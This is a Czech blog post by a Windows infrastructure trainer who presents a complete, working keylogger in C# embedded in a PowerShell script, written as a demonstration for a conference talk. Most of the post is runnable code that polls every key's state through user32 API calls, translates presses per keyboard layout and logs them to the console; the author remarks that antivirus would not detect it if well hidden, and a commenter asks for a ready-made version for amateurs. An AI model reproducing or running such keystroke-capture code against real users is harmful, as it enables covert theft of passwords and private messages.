Skip Ribbon Commands
Skip to main content

Ondrej Sevecek's Blog

:

Engineering and troubleshooting by Directory Master!
Ondrej Sevecek's Blog > Posts > Keylogger naprogramovaný v C# a v PowerShell
květen 15
Keylogger naprogramovaný v C# a v PowerShell

Včera se mi splnil sen. Jeden můj čtenář mě požádal, jestli bych mu nenapsal keylogger v C#. On si ho totiž napsal už předtím sám v PowerShell, ale chtěl by to mít i v C#. Klobouk dolů. Tohle byl vždycky můj sen, mít keylogger v PowerShellu, jenže jsem na to neměl nikdy čas. Čelendž.

Tak jsem si během dvou cest vlakem napsal velice zjednodušenou obdobu, hlavně abych to pochopil a měl vlastní ukázku na konferenci GOPAS TechEd, co bude už přístí týden.

Je neskutečné, jak jednoduché to nakonec je. Je vidět, že bránit se hackerům musíte infrastrukturně. Na tohle žádný antivirus nepřijde, pokud to hacker umí dobře ukrýt.

Musím říct, že na netu se to hemží různými teoriemi o tom, jak to nejlépe dělat pomocí Win32 API funkcí GetKeyboardState(), GetAsyncKeyState(), MapVirtualKey() a ToUnicode(). Vzhledem k tomu, že autoři těch semplů nečetli dokumentaci, tak jsem to musel udělat korektně za ně a rozhodně jsem nepoužil GetKeyboardState ani hodnotu -32767. Navíc jsem to udělal pomocí ToUnicodeEx() kde uvidíte jak to počeštit.

Je to samozřejmě jen velmi základní ukázečka, ale myslím že to bohatě stačí k demonstraci těch strašlivých možností.

Následující příklad tedy obsahuje C# kód mého keyloggeru, který je zabalený do PowerShell. Pokud to pustíte rovnou z PowerShellu, povalí to hned. Pokud z toho vyndáte ten C# kód, stáhnete si Microsoft Visual Studio Express for Windows Desktop, a vytvoříte si v něm Windows Console project, tak stačí nahradit obsah souboru Program.cs a je to.

Když to rozjedete, bude to vypisovat stisky do konzole. Ukončení funkce je možné i pomocí kombinace LevýShift+PravýShift+LevýCtrl+PravýCtrl.

Soubor se zdrojem ke stažení zde.

function Define-PowerKeyShellLogger()
{
  # The function just imports and compiles C# keylogger
  # source code. If you want to compile it directly
  # with C# instead into an EXE file, just take the herestring
  # content and replace the Program.cs source of a Windows
  # Console Application project.

  $powerKeyShellLogger = @"

using System;
using System.Diagnostics;
using System.Runtime.InteropServices;

namespace Sevecek.PowerKeyShellLogger
{
    public class User32
    {
        // Virtual key reference at: http://msdn.microsoft.com/en-us/library/windows/desktop/dd375731(v=vs.85).aspx
        public const int VK_LBUTTON = 1;        // the lowest known virtual key id
        public const int VK_BACK = 8;           // backspace
        public const int VK_TAB = 9;
        public const int VK_RETURN = 0x0D;      // enter
        public const int VK_ESCAPE = 0x1B;
        public const int VK_PRIOR = 0x21;       // page up
        public const int VK_NEXT = 0x22;        // page down
        public const int VK_END = 0x23;
        public const int VK_HOME = 0x24;
        public const int VK_LEFT = 0x25;
        public const int VK_UP = 0x26;
        public const int VK_RIGHT = 0x27;
        public const int VK_DOWN = 0x28;
        public const int VK_DELETE = 0x2E;
        public const int VK_LSHIFT = 160;
        public const int VK_RSHIFT = 161;
        public const int VK_LCONTROL = 162;
        public const int VK_RCONTROL = 163;
        public const int VK_OEM_CLEAR = 254;    // the highest known virtual key id

        public const int VK_LOWEST = VK_LBUTTON;
        public const int VK_HIGHEST = VK_OEM_CLEAR;

        [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
        public static extern short GetAsyncKeyState(int virtualKeyCode);

        // Does not work as expected here in C#
        // While within PowerShell it is like charm
        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool GetKeyboardState(byte[] keystate);

        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern uint MapVirtualKey(uint uCode, uint uMapType);

        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern int ToUnicode(
            uint wVirtKey, 
            uint wScanCode, 
            byte[] lpkeystate,
            [Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] System.Text.StringBuilder pwszBuff, 
            int cchBuff, 
            uint wFlags
            );

        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern int ToUnicodeEx(
            uint wVirtKey,
            uint wScanCode,
            byte[] lpkeystate,
            [Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] System.Text.StringBuilder pwszBuff,
            int cchBuff,
            uint wFlags,
            IntPtr dwhkl
            );

        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr GetKeyboardLayout(uint idThread);

        [DllImport("user32.dll", CharSet = CharSet.Auto)]
        public static extern IntPtr LoadKeyboardLayout(string pwszKLID, uint Flags);
    }

    public class Recorder
    {
        // Keyboard layout examples:
        //   US-English        = 00000409
        //   US-English-Dvorak = 00010409
        //   UK-English        = 00000809
        //   Czech             = 00000405
        //   Czech-QUERTY      = 00010405
        //   Slovak            = 0000041B
        //   German            = 00000407
        // More to be found at: http://support.microsoft.com/kb/138354

        public static void Record(System.Collections.ArrayList keylog, string keyboardLayout, bool outputToConsole)
        {
            byte[] previousVkeyStates = new byte[256];

            // Some means to stop oderwise infinite cycle
            while ((previousVkeyStates[User32.VK_LSHIFT] == 0) || (previousVkeyStates[User32.VK_RSHIFT] == 0) || (previousVkeyStates[User32.VK_LCONTROL] == 0) || (previousVkeyStates[User32.VK_RCONTROL] == 0))
            {
                System.Threading.Thread.Sleep(10);

                // Get states of all keys again in order to call ToUnicode() later
                // If the GetKeyboardState() worked, we would make do with it
                // but it does not work at all.
                byte[] vkeyStates = new byte[256];

                // Go from the first virtual key ID to the last one
                for (byte vkeyID = User32.VK_LOWEST; vkeyID < User32.VK_HIGHEST; vkeyID++)
                {
                    // We check the most significant bit here ((short) 0x8000 = -32768)
                    // It is not -32767 as against some bloggers because RTFM
                    // We cannot rely on the least significant bit telling
                    // us the previous state - according to documentation:
                    // "Although the least significant bit of the return
                    //  value indicates whether the key has been pressed
                    //  since the last query, due to the pre-emptive multitasking
                    //  nature of Windows, another application can call
                    //  GetAsyncKeyState and receive the "recently pressed" bit
                    //  instead of your application. The behavior of the least
                    //  significant bit of the return value is retained strictly
                    //  for compatibility with 16-bit Windows applications
                    //  (which are non-preemptive) and should not be relied upon."
                    // Must set the most significant bit in order for ToUnicode()
                    // to consider the special key pressed.
                    vkeyStates[vkeyID] = ((User32.GetAsyncKeyState(vkeyID) & 0x8000) == 0x8000) ? (byte) 0xFF : (byte) 0x00;
                }

                for (byte vkeyID = User32.VK_LOWEST; vkeyID < User32.VK_HIGHEST; vkeyID ++)
                {
                    if ((vkeyStates[vkeyID] == 0xFF) && (previousVkeyStates[vkeyID] == 0x00))
                    {
                        string nextChar = "";
                        bool newLine = false;

                        switch (vkeyID)
                        {
                            case User32.VK_BACK:    nextChar = "[BCK]"; break;
                            case User32.VK_TAB:     nextChar = "[TAB]"; newLine = true; break;
                            case User32.VK_RETURN:  nextChar = "[ENTER]"; newLine = true; break;
                            case User32.VK_ESCAPE:  nextChar = "[ESC]"; newLine = true; break;
                            case User32.VK_PRIOR:   nextChar = "[PGUP]"; newLine = true; break;
                            case User32.VK_NEXT:    nextChar = "[PGDN]"; newLine = true; break;
                            case User32.VK_END:     nextChar = "[END]"; break;
                            case User32.VK_HOME:    nextChar = "[HOME]"; break;
                            case User32.VK_LEFT:    nextChar = "[LEFT]"; break;
                            case User32.VK_UP:      nextChar = "[UP]"; newLine = true; break;
                            case User32.VK_RIGHT:   nextChar = "[RIGHT]"; break;
                            case User32.VK_DOWN:    nextChar = "[DOWN]"; newLine = true; break;
                            case User32.VK_DELETE:  nextChar = "[DEL]"; break;
                            default:
                                    // We need a writable buffer to receive the translation
                                    System.Text.StringBuilder unicodeChars = new System.Text.StringBuilder(4);
                                    if (User32.ToUnicodeEx(vkeyID, User32.MapVirtualKey(vkeyID, 0), vkeyStates, unicodeChars, unicodeChars.Capacity, 0, User32.LoadKeyboardLayout(keyboardLayout, 1)) > 0)
                                    {
                                        nextChar = unicodeChars.ToString();
                                    }
                                    break;
                        }

                        if (nextChar != "")
                        {
                            if (keylog.Count > 0)
                            {
                                string currentLine = (string)keylog[keylog.Count - 1];
                                keylog.RemoveAt(keylog.Count - 1);
                                keylog.Add(currentLine + nextChar);
                            } 
                            
                            else
                            {
                                keylog.Add(nextChar);
                            }

                            if (outputToConsole)
                            {
                                Console.Write(nextChar);
                            }
                        }

                        if (newLine)
                        {
                            keylog.Add("");

                            if (outputToConsole)
                            {
                                Console.WriteLine();
                            }
                        }
                    }

                    previousVkeyStates[vkeyID] = vkeyStates[vkeyID];
                }
            }
		}
    }

    class Program
    {
        static void Main(string[] args)
        {
            System.Collections.ArrayList keylog = new System.Collections.ArrayList();
            Recorder.Record(keylog, "00000409", true);
        }
    }
}

"@

  if (-not ('Sevecek.PowerKeyShellLogger.User32' -as [type])) {
 
    [void] (Add-Type -TypeDefinition $powerKeyShellLogger -PassThru)
  }
}




Define-PowerKeyShellLogger

[System.Collections.ArrayList] $keyLog = @()
[Sevecek.PowerKeyShellLogger.Recorder]::Record($keyLog, "00000409", $true)

 

Comments

Re: Keylogger naprogramovaný v C# a v PowerShell

Dobrý den,
nejsem dost znalý abych pochopil jak ten keylogger správně udělat ,aby to fungovalo. A proto se na vás obracím s žádostí o pomoc.

Nešlo by z toho udělat soubor i pro lajky (amatéry) 
Jan on 12.11.2015 17:31

Re: Keylogger naprogramovaný v C# a v PowerShell

další související článeček zde: https://www.sevecek.com/Lists/Posts/Post.aspx?ID=595
ondass on 1.3.2017 6:54

Add Comment

Title


Pole Title nemusíte vyplňovat, doplní se to samo na stejnou hodnotu jako je nadpis článku.

Author *


Pole Author nesmí být stejné jako pole Title! Mám to tu jako ochranu proti spamu. Roboti to nevyplní dobře :-)

Body *


Type number two as digit *


Semhle vyplňte číslici dvě. Předchozí antispemové pole nefunguje úplně dokonale, zdá se, že jsou i spamery, které pochopily, že je občas potřeba vyplnit autora :-)

Email


Emailová adresa, pokud na ni chcete ode mě dostat odpověď. Nikdo jiný než já vaši emailovou adresu neuvidí.

Attachments